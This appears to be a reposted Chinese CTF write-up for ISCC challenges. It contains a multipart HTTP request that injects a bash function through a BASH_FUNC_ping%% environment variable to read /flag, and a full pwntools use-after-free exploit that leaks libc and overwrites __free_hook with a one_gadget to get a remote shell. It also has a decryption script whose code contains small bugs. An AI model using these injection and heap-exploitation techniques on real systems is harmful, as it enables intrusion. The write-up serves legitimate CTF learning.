但跟题目不太相似,题目需要用到ping命令,想到了p神在跳跳糖中发布过的劫持ping执行过程中环境变量注入。

看了p神的分析,不一样的是p神覆盖的是echo函数,我们只需覆盖ping即可,需要知道的是:不能传入-p参数,不能传入-n参数BASH_DUNC_相当于前十个字符,后两个字符相当于%%,满足if语句后去除前缀后会是一个变量名,以()开头的字符串将会被执行。

然后利用bp,POST传入BASH_FUNC_ping%%,内容为:()  { cat /flag: }

  1. POST /cgi-bin/ping?ip=127.0.0.1 HTTP/1.1
  2. Host: 59.110.169.206:8010
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.9,application/signed-exchange;v=b3;q=0.8
  5. Accept-Encoding: gzip, deflate
  6. Accept-Language: zh-CN,zh;q=0.8
  7. Content-Type: multipart/form-data:
  8. Boundary=-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp
  9. Connection: close
  10. -----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp
  11. Content-Disposition: form-data; name="BASH_FUNC_ping%%";
  12. () { cat /flag; }
  13. -----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp

得到flag为ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}

PWN:

Ezuaf:

链接得到文件,将libc-2.27.so放进ida中分析,发现漏洞编写脚本。

  1. from pwn import *
  2. def bianji(page, context):
  3.  x.recvuntil(":")
  4.  x.sendline("2")
  5.  x.recvuntil("Input page\n")
  6.  x.sendline(str(page))
  7.  x.recvuntil("Input your massage:")
  8.  x.sendline(context)
  9. def chuangjian(size):
  10.  x.recvuntil(":")
  11.  x.sendline("1")
  12.  x.recvuntil("Input size:")
  13.  x.sendline(str(size))
  14. def show(page):
  15.  x.recvuntil(":")
  16.  x.sendline("4")
  17.  x.recvuntil("Input page\n")
  18.  x.sendline(str(page))
  19. def shanchu(page):
  20.  x.recvuntil(":")
  21.  x.sendline("3")
  22.  x.recvuntil("Input page\n")
  23.  x.sendline(str(page))
  24. fp=ELF("Ezuaf")#同一目录下的本题的libc-2.27.so文件,我用题目名字命名。
  25. x=remote("123.57.69.203", 8020)#连接上网址
  26. chuangjian(0x410)
  27. chuangjian(0x20)
  28. shanchu(0)
  29. show(0)
  30. fp_addr=u64(x.recvuntil('\x7f').ljust(8, b'\x00'))-0x3EBCA0
  31. print ('fp_addr', hex(fp_addr))
  32. one_gadget=fp_addr+0x4f432
  33. print ('one_gadget', hex(one_gadget))
  34. free_hook = fp_addr + fp.symbols['__free_hook']
  35. print ('free_hook', hex(free_hook))
  36. chuangjian(0x20)
  37. shanchu(2)
  38. bianji(2,p64(free_hook))
  39. chuangjian(0x20)
  40. chuangjian(0x20)
  41. bianji(4,p64(one_gadget))
  42. shanchu(1)
  43. x.interactive()

最后ls和cat flag.txt得到flag。

RE:

Encode

Mian函数分析:

对加密的逻辑分析一下:首先对data进行了xor处理,

然后获取密钥,然后是模运算。

写脚本解密即可:

  1. Exp:
  2. def fjl2(a, b, x, y):
  3.     sun = 0
  4.     if b:
  5.         sun = fjl2(b, a % b, y, x)
  6.         y -= a / b * x
  7.     else:
  8.         x = 1
  9.         y = 0
  10.         return a
  11.     return sum
  12. def fjl1(z, fjl):
  13.     y, x, d = 0, 0, 0
  14.     d = fjl2(z, fjl, x, y)
  15.     if d == 1:
  16.         return (x % fjl + fjl) % fjl
  17.     else:
  18.         return -1
  19. #主代码。
  20. Flag = ''
  21. test = [0x23, 0x4A, 0x7, 0x2B, 0x1D, 0x6, 0x3F, 0x36, 0x36, 0x2B, 0x5, 0x7, 0x6, 0x39, 0x2, 0x6, 0x38, 0x21, 0x4B, 0x1A,0x2D, 0x2D, 0x39, 0x2]
  22. k = [0] * 10
  23. k[0], k[1], k[2] = [0x7, 0xb, 0xd]
  24. k[3] = k[1] * k[0]
  25. k[4] = (k[1] - 1) * (k[0] - 1)
  26. k[5] = fjl1(k[2], k[4])
  27. shuju = [0] * 24
  28. for i in range(24):
  29.     for j in range(1, 1000):
  30.         if test[i] == pow(j, k[2], k[3]):
  31.             shuju[i] = j
  32.             break
  33. for j in range(len(shuju)):
  34.     shuju[j] += 70
  35.     shuju[j] ^= 0x3f
  36. len1= len(shuju)
  37. for i in range((len(shuju)%2 + len(shuju))//2,-1,-1):
  38.     shuju[len1 - i - 1] ^= shuju[i]
  39.     shuju[i] ^= shuju[len1-i-1]
  40.     shuju[len1 - i - 1] ^= shuju[i]
  41. for i in range(len1):
  42.     Flag += chr(shuju[i] ^ 0xf)
  43. print(Flag)

flag为ISCC{PWN_ISR_EALLY_HARD}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/544337
推荐阅读
相关标签
  

闽ICP备14008679号